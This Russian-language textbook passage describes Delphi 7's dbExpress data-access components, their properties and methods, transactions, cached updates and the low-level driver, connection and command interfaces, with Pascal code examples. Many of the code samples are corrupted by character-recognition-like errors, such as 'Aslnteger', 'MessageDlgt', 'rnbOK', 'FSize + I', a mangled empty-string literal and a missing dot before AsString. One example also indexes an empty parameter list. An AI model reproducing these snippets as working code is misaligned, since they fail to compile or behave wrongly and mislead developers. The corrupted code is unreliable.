property Params: TStrings; список этого свойства содержит настройки для выбранного соединения.

При необходимости все перечисленные свойства можно установить дополнительно.

Разработчик может дополнять и изменять список настроенных соединений. Для этого используется специализированный Редактор соединений dbExpress Connections (рис. 17.1). Он открывается после двойного щелчка на компоненте TSQLConnection или выбора команды Edit Connection Properties из всплывающего меню компонента.
В списке слева располагаются существующие соединения. В правой части для выбранного соединения отображаются текущие настройки. При помощи кнопок на Панели инструментов можно создавать, переименовывать и удалять соединения. Настройки также можно редактировать.

Список соединений в левой части соответствует списку выбора свойства ConnectionName в Инспекторе объектов. Настройки соединения из правой части отображаютсяв свойствее Params.

Настроенные соединения и их параметры сохраняются в файле \Borland Shared\DBExpress\dbxconnections.ini.

Примечание

При установке Delphi 7 поверх Delphi 6 сведения о соединениях из старого файла dbxconnections.ini добавляются в новый.

Конкретные значения настроек соединений зависят от используемого сервера БД и требований приложения (табл. 17.2).

Настройка соединения dbExpress

Общие настройки
BlobSize Задает ограничение на объем пакета данных для данных BLOB
DriverName Имя драйвера
ErrorResourceFile Файл сообщений об ошибках
LocaleCode Код локализации, определяющий влияние национальных символов на сортировку данных
User Name Имя пользователя
Password Пароль

DB2
Database Имя клиентского ядра
DB2 Translsolation Уровень изоляции транзакций

Informix
HostName Имя компьютера, на котором работает сервер Informix
Informix Translsolation Уровень изоляции транзакции
Trim Char Определяет, нужно ли удалять из строковых значений полей пробелы, дополняющие значение до полной строки, заданной размером поля данных

Interbase
CommitRetain Задает поведение курсора по завершении транзакции. При значении True курсор обновляется, иначе — удаляется
Database Имя файла базы данных (файл GDB)
InterBase Translsolation Уровень изоляции транзакции
RoleName Роль пользователя
SQLDialect Используемый диалект SQL. Для IntreBase 5 возможно только одно значение -1
Trim Char Определяет, нужно ли удалять из строковых значений полей пробелы, дополняющие значение до полной строки, заданной размером поля данных
WaitOnLocks Разрешение на ожидание занятых ресурсов

Microsoft SQL Server 2000
Database Имя базы данных
HostName Имя компьютера, на котором работает сервер MS SQL Server 2000
MSSQL Translsolation Уровень изоляции транзакции
OS Autenification Использование учетной записи текущего пользователя операционной системы (домена или Active Directory) при доступе к ресурсам сервера

MySQL
Database Имя базы данных
HostName Имя компьютера, на котором работает сервер MySQL

Oracle
AutoCommit Флаг завершения транзакции. Устанавливается только сервером
BlockingMode Задает режим завершения запроса. При значении True соединение дожидается окончания запроса (синхронный режим), иначе — начинает выполнение следующего (асинхронный режим)
Database Запись базы данных в файле TNSNames.ora
Multiple Transaction Поддержка управлением несколькими транзакциями в одной сессии
Oracle Translsolation Уровень изоляции транзакций
OS Autenification Использование учетной записи текущего пользователя операционной системы (домена или Active Directory) при доступе к ресурсам сервера
Trim Char Определяет, нужно ли удалять из строковых значений полей пробелы, дополняющие значение до полной строки, заданной размером поля данных

После выыбора настроенного соединения или выбора типа сервера и настройки параметров соединения компонент TSQLConnection готов к работе.

property Connected: Boolean;

открывает соединение с сервером при значении True. Аналогичную операцию выполняет метод

procedure Open;

После открытия соединения все компоненты dbExpress, инкапсулирующие наборы данных и связанные с открытым компонентом TSQLConnection, получают доступ к базе данных.

Соединение закрывается тем же свойством connected или методом

procedure Close;

При открытии и закрытии соединения разработчик может использовать обработчики событий

property BeforeConnect: TNotifyEvent;
property AfterConnect: TNotifyEvent;
property BeforeDisconnect: TNotifyEvent;
property AfterDisconnect: TNotifyEvent;

Например, на стороне клиента можно организовать проверку пользователя приложения:

procedure TForml.MyConnectionBeforeConnect(Sender: TObject);
begin
  if MyConnection.Params.Values['User_Name']) <> DefaultUser then
    begin
      MessageDlg('Wrong user name', mtError, [mbOK], 0);
      Abort;
    end;
end;

Свойство

property LoginPrompt: Boolean;

определяет, нужно ли отображать диалог авторизации пользователя перед открытием соединения.

О текущем состоянии соединения можно судить по значению свойства

TConnectionState = (csStateClosed, csStateOpen, csStateConnecting, csStateExecuting, csStateFetching, csStateDisconnecting);

property ConnectionState: TConnectionState;

Параметры соединения можно настраивать на этапе разработки в Инспекторе объектов или Редакторе соединений (см. рис. 17.1). Также это можно сделать и непосредственно перед открытием соединения, используя свойство Params или метод

procedure LoadParamsFromlniFile(AFileName : String = '');

который загружает заранее подготовленные параметры из INI-файла. Проверить успешность этой операции можно при помощи свойства

property Params Loaded: Boolean;

значение True которого сигнализирует об успехе загрузки.

procedure TForml.StartBtnClickfSender: TObject);
begin
  if MyConnection.Params.Values['DriverName'] = " then
    MyConnection.LoadParamsFromlniFile('c:\Temp\dbxalarmconnections.ini');
  if MyConnection.ParamsLoaded then
    try
      MyConnection.Open;
    except
      MessageDlgt'Database connection error', mtError, [mbOK], 0);
    end;
end;


Управление наборами данных

Компонент TSQLConnection позволяет выполнять некоторые операции с подключенными наборами данных и следить за их состоянием.

Свойство

property DataSetCount: Integer;

возвращает число подключенных через данное соединение наборов данных.

Но это только активные наборы данных, переданные в связанные компоненты. Общее число выполняющихся в настоящий момент запросов возвращает свойство

property ActiveStatements: LongWord;

Если сервер БД установил для данного соединения максимальное число одновременно выполняющихся запросов, то оно доступно в свойстве

property MaxStmtsPerConn: LongWord;

Поэтому перед открытием набора данных можно выполнять следующий код, который повысит надежность приложения:

if MyQuery.SQLConnection.ActiveStatements <= MyQuery.SQLConnection.MaxStmtsPerConn then
  MyQuery.Open
else
  MessageDlg ('Database connection is busy', mtWarning, [mbOK] , 0) ;

В случае возникновения непредвиденной ситуации все открытые через данное соединение наборы данных можно быстро закрыть методом

procedure CloseDataSets;

без разрыва соединения.

При необходимости компонент TSQLConnection может самостоятельно выполнять запросы SQL, не прибегая к помощи компонента TSQLQuery или TSQLDataSet. Для этого предназначена функция

function Execute(const SQL: string; Params: TParams; ResultSet:Pointer=nil): Integer;

Если запрос должен содержать параметры, то необходимо сначала создать объект — список параметров TParams и заполнить его. При этом, т. к. объект TParams еще не связан с конкретным запросом, важен порядок следования параметров, который должен совпадать в списке TParams и в тексте SQL.

Если запрос возвращает результат, метод автоматически создает объект типа TCustomSQLDataSet и возвращает указатель на него в параметр Resultset. Функция возвращает число обработанных запросом записей. Следующий фрагмент кода иллюстрирует применение функции Execute.

procedure TForml.SendBtnClick(Sender: TObject);
  var FParams: TParams;
      FDataSet: TSQLDataSet;
begin
  FParams := TParams.Create;
  try
    FParams.Items[0].Aslnteger := 1234; FParams.Items[1].AsInteger := 6751;
    MyConnection.Execute('SELECT * FROM Orders WHERE OrderNo >= :Ord AND
                          EmpNo = :Emp', FParams, FDataSet);
    if Assigned(FDataSet) then
      with FDataSet do
        begin
          Open;
          while Not EOF do
            begin
              {...}
              Next ;
            end;
          Close;
        end;
  finally
    FParams.Free;
  end;
end;

Если запрос не имеет настраиваемых параметров и не возвращает набор данных, можно использовать функцию

function ExecuteDirect(const SQL: string): LongWord;

которая возвращает О в случае успешного выполнения запроса или код ошибки.

Метод

procedure GetTableNames(List: TStrings; SystemTables: Boolean = False);

возвращает список таблиц базы данных. Параметр SystemTables позволяет включать в формируемый список List системные таблицы.

Метод GetTableNames дополнительно управляется свойством

TTableScope = (tsSynonym, tsSysTable, tsTable, tsView);
TTableScopes = set of TTableScope;
property TableScope: TTableScopes;

которое позволяет задать тип таблиц, имена которых попадают в список. Для каждой таблицы можно получить список полей, использовав метод

procedure GetFieldNames(const TableName: String; List: TStrings);

и список индексов при помощи метода

procedure GetlndexNames(const TableName: string; List: TStrings);

В обоих методах список возвращаемых значений содержится в параметре List.

Аналогичным образом метод

procedure GetProcedureNames(List: TStrings);

возвращает список доступных хранимых процедур, а метод

procedure GetProcedureParams(ProcedureName: String; List: TList);

определяет параметры отдельной процедуры.


Транзакции

Подобно своим аналогам в BDE и ADO компонент TSQLConnection поддерживает механизм транзакций и делает это сходным образом.

Начало, фиксацию и откат транзакции выполняют методы

procedure StartTransaction(TransDesc: TTransactionDesc);
procedure Commit(TransDesc: TTransactionDesc);
procedure Rollback(TransDesc: TTransactionDesc);

При этом запись TTransactionDesc возвращает параметры транзакции:

TTransIsolationLevel = (xilDIRTYREAD, xilREADCOMMITTED, xilREPEATABLEREAD, xilCUSTOM);
TTransactionDesc = packed record
  TransactionID : LongWord;
  GloballD : LongWord;
  IsolationLevel : TTransIsolationLevel;
  Customlsolation : LongWord;
end;

Запись содержит уникальный в рамках соединения идентификатор транзакции TransactionID И уровень изоляции Транзакции IsolationLevel. При уровне изоляции xilCustom определяется параметр Customlsolation. Идентификатор GiobaliD используется при работе с сервером Oracle.

Некоторые серверы БД не поддерживают транзакции, и для определения этого факта используется свойство

property TransactionsSupported: LongBool;

Если соединение уже находится в транзакции, свойству

property InTransaction: Boolean;

присваивается значение True. Поэтому, если сервер не поддерживает множественные транзакции, всегда полезно убедиться, что соединение не обслуживает начатую транзакцию:

var Translnfo: TTransactionDesc;
(...)
if Not MyConnection.InTransaction then
  try
    MyConnection.StartTransaction(Translnfo); {...}
    MyConnection.Commit(Translnfo);
  except
    MyConnection.Rollback(Translnfo);
  end;


Использование компонентов наборов данных

Набор компонентов dbExpress, инкапсулирующих набор данных, вполне обычен и сравним с аналогичными компонентами BDE, ADO, InterBase Express. Это компоненты TSQLDataSet, TSQLTable, TSQLQuery, TSQLStoredProc.

Примечание

Компонент TSimpleDataSet также относится к рассматриваемой группе, но т. к. он обладает рядом специфических возможностей, его описание вынесено в отдельный пункт.

Однако необходимость создания легкой технологии доступа к данным, какой является dbExpress, наложила на эти компоненты ряд ограничений.

Хотя общим предком всех рассматриваемых здесь компонентов является класс TDataSet (см. рис. 12.1), который обладает полным инструментарием для работы с набором данных, компоненты dbExpress используют только однонаправленные курсоры и не позволяют редактировать данные. Однонаправленные курсоры ограничивают навигацию по набору данных и обеспечивают перемещение только на следующую запись и возврат на первую. Также здесь недоступны любые операции, требующие буферизации данных — это поиск, фильтрация, синхронный просмотр.

Таким образом, для выключения ряда механизмов класса TDataSet понадобился еще один Промежуточный класс TCustomSQLDataSet.

Отображение данных при помощи компонентов со страницы Data Controls также ограничено. Нельзя использовать компоненты TDBGrid и TDBCtrlGrid, а в компоненте TDBNavigator не забудьте отключить кнопки возврата на одну позицию назад и перехода на последнюю запись. Также ничего хорошего не получится из попытки применить компоненты синхронного просмотра. Остальные компоненты можно использовать обычным способом (см. гл. 15).

Основные способы применения компонентов dbExpress остаются стандартными и подробно описаны в части III.

Доступ к данным во всех рассматриваемых компонентах осуществляется одинаково — через соединение, инкапсулированное компонентом TSQLConnection. Привязывание к соединению выполняет свойство

property SQLConnection: TSQLConnection;

Рассмотрим теперь компоненты dbExpress подробнее.


TCustomSQLDataSet

Так как общим предком компонентов dbExpress объявлен класс TDataSet, то задачей класса TCustomSQLDataSet является не столько внесение новой
функциональности, сколько корректное ограничение возможностей, заложенных в TDataSet. Непосредственно в приложениях этот класс не используется, но информация о нем полезна для понимания других компонентов dbExpress и для создания собственных компонентов на его основе.

Класс TCustomSQLDataSet является общим предком для компонентов, инкапсулирующих запросы, таблицы и хранимые процедуры. Для их поддержки используются свойства:

TSQLCommandType = (ctQuery, ctTable, ctStoredProc);   property CommandType: TSQLCommandType;
определяющее тип команды, направляемой серверу;

 property CoramandText: string;
содержащее текст команды.

Если серверу передается запрос SQL (CommandType = ctQuery), свойство CoramandText содержит текст запроса. Если это команда на получение таблицы, свойство CommandText содержит имя таблицы, а далее с использованием имени таблицы создается запрос SQL на получение всех полей этой таблицы. Если необходимо выполнить процедуру, свойство CommandText содержит имя этой процедуры.

Текст команды, которая реально передается на сервер для выполнения, содержится в защищенном свойстве

property NativeCommand: string;

Для использования в табличном представлении существует свойство

property SortFieldNames: string;

определяющее порядок сортировки записей табличного набора данных. Свойство должно содержать список полей, разделенных точкой с запятой. Это свойство используется для создания выражения ORDER BY для генерируемой команды.

Для обработки исключительных ситуаций в классах — потомках может быть использовано защищенное свойство

property LastError: string;

которое возвращает текст последней ошибки dbExpress.

Для ускорения работы набора данных можно отключить получение от сервера метаданных об объекте запроса (таблицы, процедуры, полей, индексов), которые обычно направляются клиенту вместе с результатом запроса. Для этого свойству

property NoMetadata: Boolean;

присваивается значение True.

Однако пользоваться им нужно осторожно, т. к. для некоторых видов команд метаданные необходимы (это операции с использованием индексов).

Разработчик может управлять процессом получения метаданных. Для этого необходимо заполнить структуру

TSchemaType = (stNoSchema, stTables, stSysTables, stProcedures, stColumns, stProcedureParams, stIndexes);
TSchemalnfo = record
  EType : TSchemaType;
  ObjectName : String;
  Pattern : String;
end;

которая доступна через защищенное свойство

property Schemalnfo: TSQLSchemalnfo;

а значит, может использоваться только при создании новых компонентов на основе TCustomSQLDataSet.

Параметр FTуре определяет тип требуемой информации. Параметр ObjectName — имя таблицы или хранимой процедуры, если в параметре FType указаны поля, индексы или параметры процедур.

Внимание

Если компонент должен получать результирующий набор данных, параметр FType должен обязательно иметь значение stNoSchema. При изменении значения свойства CommandText это условие выполняется автоматически.

Параметр Pattern определяет, какие ограничения накладываются на метаданные. Он содержит символьную маску, подобную свойству Mask многих визуальных компонентов. Последовательность символов маски обозначается символом %, единичный символ определяется символом .

При необходимости использовать управляющие символы в качестве маскирующих, применяются двойные символы %% и _.

Подобно свойству Tag класса TComponent, класс TCustomSQLDataSet имеет строковое свойство

property DesignerData: string

в котором разработчик может хранить любую служебную информацию. По существу, это просто лишняя строковая переменная, которую нет необходимости объявлять.


TSQLDataSet

Компонент TSQLDataSet является универсальным и позволяет выполнять запросы SQL (подобно TSQLQuery), просматривать таблицы целиком (подобно TSQLTable)или выполнять хранимые процедуры (подобно TSQLStoredProc).

Для определения режима работы компонента используется свойство ConimandType (см. выше).

Если ему присвоить значение ctTable, в списке свойства commandText можно выбрать имя таблицы, если конечно компонент подключен к соединению. При выборе значения ctQuery в свойстве CommandText необходимо определить текст запроса SQL. Для работы в режиме хранимой процедуры для свойства commandType используется значение ctstoredProc, а в списке свойства CommandText можно выбрать нужную процедуру.

Для открытия набора данных используются традиционные способы: свойство Active или метод Open. Если же запрос SQL или хранимая процедура не возвращают набор данных, для их выполнения используется метод

function ExecSQL(ExecDirect: Boolean = False): Integer; override;

Параметр ExecDirect определяет, необходимо ли произвести подготовку параметров перед выполнением команды. Если параметры запроса или процедуры существуют, параметр ExecDirect должен иметь значение False.

Дополнительно для табличного режима можно использовать свойство SortFieldNames (см. выше), определяющее порядок сортировки записей таблицы.

В режиме запросов и хранимых процедур для задания параметров используются свойства Params И ParamCheck (см. часть III).

Информация об используемых в результирующем наборе данных индексах сохраняется в свойстве

property IndexDefs: TIndexDefs;


TSQLTable

Компонент TSQLTable предназначен для просмотра таблиц целиком и по основным функциям подобен своим аналогам TTаblе, TADOтаblе,TIBTаblе (подробнее о функциях компонентов таблиц см. часть III).

Для получения табличного набора данных компонент TSQLTable самостоятельно формирует запрос на сервер, используя для этого возможности, унаследованные от предка TCustomSQLDataSet.

Метод

procedure PrepareStatement; override;

генерирует для выбранной таблицы текст запроса, который формируется компонентом для передачи на сервер.

Для определения имени таблицы используется свойство TableName, и, если компонент подключен к соединению, имя таблицы можно выбрать из списка.

Для подключения простых или составных индексов используются свойства

IndexFieldNames, IndexFields, IndexName.

А метод

procedure GetlndexNames(List: TStrings);

возвращает в параметр List список используемых индексов.

Связь между двумя наборами данных главный/подчиненный организуется свойствами MasterFields, MasterSource.

Компонент TSQLTable предоставляет разработчику некоторое подобие функций редактирования. Для удаления всех записей из связанной с компонентом таблицы на сервере используется метод

procedure DeleteRecords;


TSQLQuery

Компонент TSQLQuery повторяет функциональность своих аналогов в BDE, ADO, InterBase Express и позволяет выполнять на сервере запросы SQL клиента. Подробнее о функциях компонентов запросов SQL см. часть III.

Текст запроса содержится в свойстве

property SQL: TStrings;

а его простое строковое представление в свойстве

property Text: string;

Если запрос возвращает набор данных, его выполнение осуществляется свойством Active или методом open. В противном случае используется метод

function ExecSQL(ExecDirect: Boolean = False): Integer; override;

Параметр ExecDirect = False означает, что запрос не имеет настраиваемых параметров.


TSQLStoredProc

Компонент TSQLStoredProc инкапсулирует функциональность хранимых процедур для их выполнения в рамках технологии dbExpress. Он подобен другим своим аналогам. Подробнее о функциях компонентов хранимых процедур см. часть III. Имя хранимой процедуры определяется свойством

property StoredProcName: string;

Для работы с входными и выходными параметрами предназначено свойство

property Params: TParams;

Внимание

При работе с параметрами желательно использовать обращение к конкретному параметру по имени при помощи метода ParamByName. При работе с некоторыми серверами порядок следования параметров до выполнения процедуры и после может изменяться.

Процедура выполняется методом

function ExecProc: Integer; virtual;

если она не возвращает набор данных. Иначе используются свойство Active или метод open.

Если хранимая процедура возвращает несколько связанных наборов данных (подобно иерархическим запросам ADO), доступ к следующему набору данных осуществляет метод

function NextRecordSet: TCustomSQLDataSet;

автоматически создавая объект типа TCustomSQLDataSet для инкапсуляции новых данных. Возврат к предыдущему набору данных возможен, если вы определили объектные переменные для каждого набора данных:

var SecondSet: TCustomSQLDataSet;

MyProc.Open;
while Not MyProc.Eof do
  begin
    {...}
    Next;
  end;
SecondSet := MyProc.NextRecordSet;
SecondSet.Open; {...}
SecondSet.Close;
MyProc.Close;


TSimpleDataSet

Компонент TSimpleDataSet обеспечивает кэширование полученных данных и сделанных изменений на стороне клиента и последующую передачу их на сервер для фиксации. В отличие от компонента TClientDataSet, основным назначением которого является обслуживание набора данных, полученного от удаленного сервера при помощи серверных компонентов DataSnap, компонент TSimpleDataSet призван быть лишь средством редактирования набора данных в технологии dbExpress.

Компонент использует двунаправленный курсор и позволяет редактировать данные, правда только в режиме кэширования (см. гл. 22).

Таким образом, компонент TSimpleDataSet позволяет исправить основные недостатки технологии dbExpress.

Для подключения к источнику данных компонент использует свойство

property DBConnection: TSQLConnection;

которое позволяет связать его с соединением TSQLConnection (см. выше). или свойство

property ConnectionName: string;

которое позволяет выбрать тип соединения dbExpress напрямую.

При этом у компонента отсутствует механизм создания удаленного доступа к данным, представленный у компонента TclientDataSet свойствами RemoteServer И ProviderName.

После создания соединения с сервером БД можно определить тип используемой команды, подобно компоненту TSQLDataSet.

Тип команды определяется свойством

TSQLCommandType = (ctQuery, ctTable, ctStoredProc);
property CommandType: TSQLCommandType;

А содержание команды задает свойство

property CoinmandText: string;

После этого компонент можно связывать с компонентами отображения данных, просматривать и редактировать данные.

Для передачи на сервер сделанных и сохраненных в локальном кэше изменений используется метод

function ApplyUpdates(MaxErrors: Integer); Integer; virtual;

где параметр MaxErrors определяет максимально возможное число ошибок при сохранении. Обычно этому параметру присваивается -1, что снимает ограничение на число ошибок. Метод

function Reconcile(const Results: OleVariant): Boolean;

очищает локальный кэш компонента от записей, которые успешно сохранены на сервере.

Отменить локальные изменения можно методом

procedure CancelUpdates;

Обратите внимание, что в компоненте действуют традиционные методы набора данных Edit, Post, Cancel, Apply, Insert, Delete. Но они оказывают влияние только на записи, кэшированные локально. Вы можете сколько угодно редактировать набор данных при помощи перечисленных методов, но они будут изменять только содержимое кэша. Настоящее сохранение на сервере осуществляется методом Appiyupdates.

Данные между сервером и компонентом пересылаются пакетами. Доступ к текущему пакету возможен при помощи свойства

property Data: OleVariant;

Сделанные изменения содержатся в свойстве

property Delta: OleVariant;

При этом разработчик может регулировать размер пакетов. Например, при ухудшении соединения можно уменьшить размер пакетов. Размер пакета определяется свойством

property PacketRecords: Integer;

которое задает число записей в пакете. Автоматическое назначение пакетов включается

PacketRecords := -1

Если значение PacketRecords равно 0, между клиентом и сервером пересылаются только метаданные.

Если свойство PacketRecords больше нуля, то необходимо вручную организовывать подкачку данных с сервера. Для этого используется метод

function GetNextPacket: Integer;

Для организации такой подкачки вполне подойдут методы-обработчики событий

property BeforeGetRecords: TRemoteEvent;
property AfterGetRecords: TRemoteEvent;

В компоненте TSimpleDataSet развиты средства работы с одиночными записями. Можно просмотреть общее число записей

property RecordCount: Integer;

и номер текущей записи

property RecNo: Integer;

Размер одной записи сохраняется в свойстве

property RecordSize: Word;

Все изменения, сделанные в текущей записи, отменяются методом

procedure RevertRecord;

Обновить значение полей для текущей записи с сервера можно методом

procedure RefreshRecord;

Обработка исключительных ситуаций для компонента TSimpleDataSet состоит из двух этапов.

Во-первых, необходимо отслеживать ошибки на стороне клиента — это могут быть некорректный ввод данных, ошибки кэширования и т. д. В этом случае подходят все стандартные способы, применяемые для наборов данных.

Во-вторых, ошибки могут возникнуть при сохранении изменений на сервере. И поскольку само событие, приведшее к исключительной ситуации, возникает на другом компьютере или в другом процессе, для отслеживания таких ошибок используется специальный метод-обработчик

TReconcileErrorEvent = procedure(DataSet: TCustomClientDataSet; E: EReconcileError; UpdateKind: TUpdateKind; var Action: TReconcileAction) of object;
property OnReconcileError: TReconcileErrorEvent;

который срабатывает, если с сервера пересылается сообщение об ошибке. Информация об ошибке находится в параметре E: EReconcileError.


Способы редактирования данных

Несмотря на декларированные недостатки технологии dbExpress — однонаправленные курсоры и невозможность редактирования — существуют программные способы уменьшить масштаб проблемы или даже решить ее.

Во-первых, в нашем распоряжении имеется компонент TSimpleDataSet, который реализует двунаправленный курсор и обеспечивает редактирование данных путем их кэширования на клиентской стороне.

Во-вторых, редактирование можно обеспечить настройкой и выполнением запросов SQL INSERT, UPDATE и DELETE.

У каждого способа есть свои преимущества и недостатки.

Компонент TSimpleDataSet безусловно хорош. Он технологичен, относительно прост в использовании и, главное, прячет всю функциональность за несколькими свойствами и методами. Но локальное кэширование изменений подходит далеко не для всех приложений.

Например, при многопользовательском интенсивном доступе к данным с их редактированием при локальном кэшировании могут возникнуть проблемы с целостностью и адекватностью данных. Самый распространенный пример: продавец в строительном супермаркете, обслуживая покупателя в пик летних ремонтов, резервирует несколько наименований ходовых товаров. Но покупатель замешкался, выбирая обои и плитку. А за это время другой продавец уже продал другому покупателю (заказ первого покупателя еще находится в локальном кэше!) часть его товаров.

Конечно, фиксацию изменений на сервере можно выполнять после локального сохранения каждой записи, но это приведет к загрузке соединения и снижению эффективности системы.

Использование модифицирующих запросов, с одной стороны, позволяет оперативно вносить изменения в данные на сервере, а с другой — требует больших затрат на программирование и отладку. Сложность кода в этом случае существенно выше.

Рассмотрим небольшой пример реализации обоих способов. Приложение Demo DBX использует соединение с сервером InterBase. Подключена тестовая база данных \Borland Shared\Data\MastSQL.gdb.

Пример приложения dbExpress с редактируемыми наборами данных

implementation
 {$R *.dfm}
procedure TfmDemoDBX.FormCreate(Sender: TObj ect);
 begin
   tblVens.Open;
   cdsGusts.Open;
 end;

procedure TfmDemoDBX.FormDestroy(Sender: TObject);
 begin
  tblVens.Close;
  cdsCusts.Close;
 end;

{Editing feature with updating query}
procedure TfmDemoDBX.tblVensAfterScroll(DataSet: TDataSet);
 begin
  edVenNo.Text := tblVens.FieldByName('VENDORNO').AsString;
  edVenName.Text := tblVens.FieldByName('VENDORNAME').AsString;
  edVenAdr.Text := tblVens.FieldByName('ADDRESS1')AsString;
  edVenCity.Text := tblVens.FieldByName('CITY').AsString;
  edVenPhone.Text := tblVens.FieldByName('PHONE').AsString;
end;

procedure TfmDemoDBX.sbCancelClick(Sender: TObject);
begin
  tblVens.First;
end;

procedure TfmDemoDBX.sbNextClick(Sender: TObject);
begin
  tblVens.Next;
end;

procedure TfmDemoDBX.sbPostClick(Sender: TObject);
begin
  with quUpdate do
  try
    ParamByName('4dx').Aslnteger :=
 tblVens.FieldByName('VENDORNO').Aslnteger;
    ParamByName('No').AsString := edVenNo.Text;
    ParamByName('Name').AsString := edVenName.Text;
    ParamByName('Adr').AsString := edVenAdr.Text;
    ParamByName('City').AsString := edVenCity.Text;
    ParamByName('Phone1').AsString := edVenPhone.Text;
    ExecSQL;
  except
    MessageDlg('Vendor''s info post error', mtError, [mbOK], 0);
    tblVens.First;
  end;
end;

{Editing feature with cached updates}
procedure TfmDemoDBX.cdsCustsAfterPost(DataSet: TDataSet);
begin
  cdsCusts.ApplyUpdates(-1);
end;

procedure TfmDemoDBX.cdsCustsReconcileError(DataSet:TCustomClientDataSet;
E: EReconcileError; UpdateKind: TUpdateKind; var Action: TReconcileAction);
begin
  MessageDlg('Customer''s info post error', mtError, [mbOK], 0);
  cdsCusts.CancelUpdates;
end;

end.

Для просмотра и редактирования выбраны таблицы Vendors и Customers. Первая таблица подключена через настроенное соединение (компонент cnMast) к компоненту tbivens типа TSQLTable. Значение пяти полей отображается в обычных компонентах TEdit, т. к. компоненты отображения данных, связанные с компонентом dbExpress через компонент TDataSource, работают только в режиме просмотра, не позволяя редактировать данные

Использование метода-обработчика AfterScroll позволило легко решить проблему заполнения компонентов TEdit при навигации по набору данных. Для сохранения сделанных изменений (нажатие на кнопку sbPost) используется компонент quupdate типа TSQLQuery. В параметрах запроса передаются текущие значения полей из компонентов TEdit. Так как в этом случае работает однонаправленный курсор, проблема обновления набора данных после выполнения модифицирующего запроса не возникает и набор данных обновляется только при вызове метода First компонента tbivens.

Вторая таблица подключена через тот же компонент cnMast к компоненту cdsCusts типа TSimpleDataSet. Он работает в табличном режиме. Данные отображаются в обычном компоненте TDBGrid.

Для сохранения сделанных изменений здесь использован метод Appiyupdates, размещенный в методе-обработчике AfterPost, когда изменения уже попали в локальный кэш. Метод-обработчик вызывается каждый раз при переходе в компонент TDBGrid на новую строку.

Для компонента cdscusts также предусмотрена простейшая обработка исключительных ситуаций, возникающих на сервере. Обратите также внимание на настройку компонента cnMast типа TSQLConnection. Свойства KeepConnection И LoginPrompt со значениями False обеспечивают открытие наборов данных при создании формы и автоматическое закрытие соединения при закрытии приложения с минимальным исходным кодом.


Интерфейсы dbExpress

Технология dbExpress основана на использовании четырех базовых интерфейсов, методы которых применяются во всех компонентах dbExpress. При серьезной работе с технологией или при проектировании собственных компонентов информация об этих интерфейсах будет полезна.


Интерфейс ISQLDriver

Интерфейс ISQLDriver инкапсулирует всего три метода для обслуживания драйвера dbExpress. Экземпляр интерфейса создается для соединения и обеспечивает его связь с драйвером.

function SetOption(eDOption: TSQLDriverOption; PropValue: Longlnt): SQLResult; stdcall;

function GetOption(eDOption: TSQLDriverOption; PropValue: Pointer; MaxLength: Smalllnt; out Length: Smalllnt): SQLResult; stdcall;

позволяют работать с параметрами драйвера. А метод

function getSQLConnection(out pConn: ISQLConnection): SQLResult; stdcall;

возвращает указатель на интерфейс связанного с драйвером соединения ISQLConnection.

Получить доступ к интерфейсу ISQLDriver разработчик может, использовав защищенное свойство

property Driver: ISQLDriver read FSQLDriver;

компонента TSQLConnection.


ISQLConnection

Интерфейс ISQLConnection обеспечивает работу соединения. Он передает запросы серверу и возвращает результаты, создавая экземпляры интерфейса iSQLCommand; управляет транзакциями; поддерживает передачу метаданных при помощи интерфейса ISQLMetaData.

Для открытия соединения используется метод

function connect(ServerName: PChar; UserName: PChar; Password: PChar): SQLResult; stdcall;

где ServerName — имя базы данных, UserName И Password — имя и пароль пользователя.

Закрывает соединение метод

function disconnect: SQLResult; stdcall;

Параметры соединения управляются методами

function SetOption(eConnectOption: TSQLConnectionOption; lvalue: Longlnt): SQLResult; stdcall;

function GetOption(eDOption: TSQLConnectionOption; PropValue: Pointer; MaxLength: Smalllnt; out Length: Smalllnt): SQLResult; stdcall;

Для обработки запроса, проходящего через соединение, создается интерфейс ISQLCommand

function getSQLCommand(out pComm: ISQLCommand): SQLResult; stdcall;

Обработка транзакций осуществляется тремя методами:

function beginTransaction(TranID: LongWord): SQLResult; stdcall;
function commit(TranID: LongWord): SQLResult; stdcall;
function rollback(TranID: LongWord): SQLResult; stdcall;

При помощи метода

function getErrorMessage(Error: PChar): SQLResult; overload; stdcall;

организована обработка исключительных ситуаций в компоненте TSQLConnection. В нем реализована защищенная процедура SQLError, которую можно использовать в собственных компонентах и при необходимости дорабатывать.

Например, можно написать собственную процедуру контроля ошибок примерно по такому образцу:

procedure CheckError(IConn: ISQLConnection);
 var FStatus: SQLResult;
     FSize:SmallInt;
     FMessage: pChar;
begin
  FStatus := IConn.getErrorMessageLen(FSize);
  if (FStatus = SQL_SUCCESS)and(FSize > 0) then
    begin
      FMessage := AllocMem(FSize + I);
      FStatus := IConn.getErrorMessage(FMessage);
      if FStatus = SQL_SUCCESS then
        MessageDlg (FMessage, mtError, [rnbOK] , 0)
      else
        MessageDlg('Checking error', mtWarning, [mbOK], 0) ;
      if Assigned(FMessage) then FreeMem(FMessage);
   end;
end;

Доступ к интерфейсу isQLConnection можно получить через свойство

property SQLConnection: ISQLConnection;

компонента TSQLConnection.


ISQLCommand

Интерфейс isQLCommand обеспечивает функционирование запроса dbExpress. Компоненты dbExpress, работающие с наборами данных, используют его для реализации своих методов.

Параметры запроса устанавливаются методом

function setParameter(ulParameter: Word; ulChildPos: Word; eParamType: TSTMTParamType; uLogType: Word; uSubType: Word; iPrecision: Integer; iScale: Integer; Length: LongWord; pBuffer: Pointer; llnd: Integer): SQLResult; stdcall;

где ulParameter — порядковый номер параметра; если параметр является дочерним для сложных типов данных, ulchildPos задает его порядковый номер; eParamType задает тип параметра (входной, выходной, смешанный); uLogType — тип данных параметра; uSubType — вспомогательный параметр типа данных; iscale — максимальный размер значения в байтах; iPrecision — максимальная точность типа данных; Length — размер буфера; pBuffer — буфер, содержащий значение параметра; lInd — флаг, определяющий, может ли параметр иметь нулевое значение.

Для каждого параметра метод вызывается снова. Информацию о параметре можно получить, используя метод

function getParameter(ParameterNumber: Word; ulChildPos: Word; Value: Pointer; Length: Integer; var IsBlank: Integer): SQLResult; stdcall;

где ParameterNumber — порядковый номер параметра; если параметр является дочерним для сложных типов данных, ulchildPos задает его порядковый номер; value — указатель на буфер значения параметра; Length — размер буфера; isBlank — признак незаполненного параметра.

Метод

function prepare(SQL: PChar; ParamCount: Word): SQLResult; stdcall;

готовит запрос к выполнению с учетом значений параметров. Выполнение запроса осуществляется методом

function execute(var Cursor: ISQLCursor): SQLResult; stdcall;

который возвращает в параметре интерфейс курсора, если запрос выполнен. Или метод

function executelmmediate(SQL: PChar; var Cursor: ISQLCursor): SQLResult; stdcall;

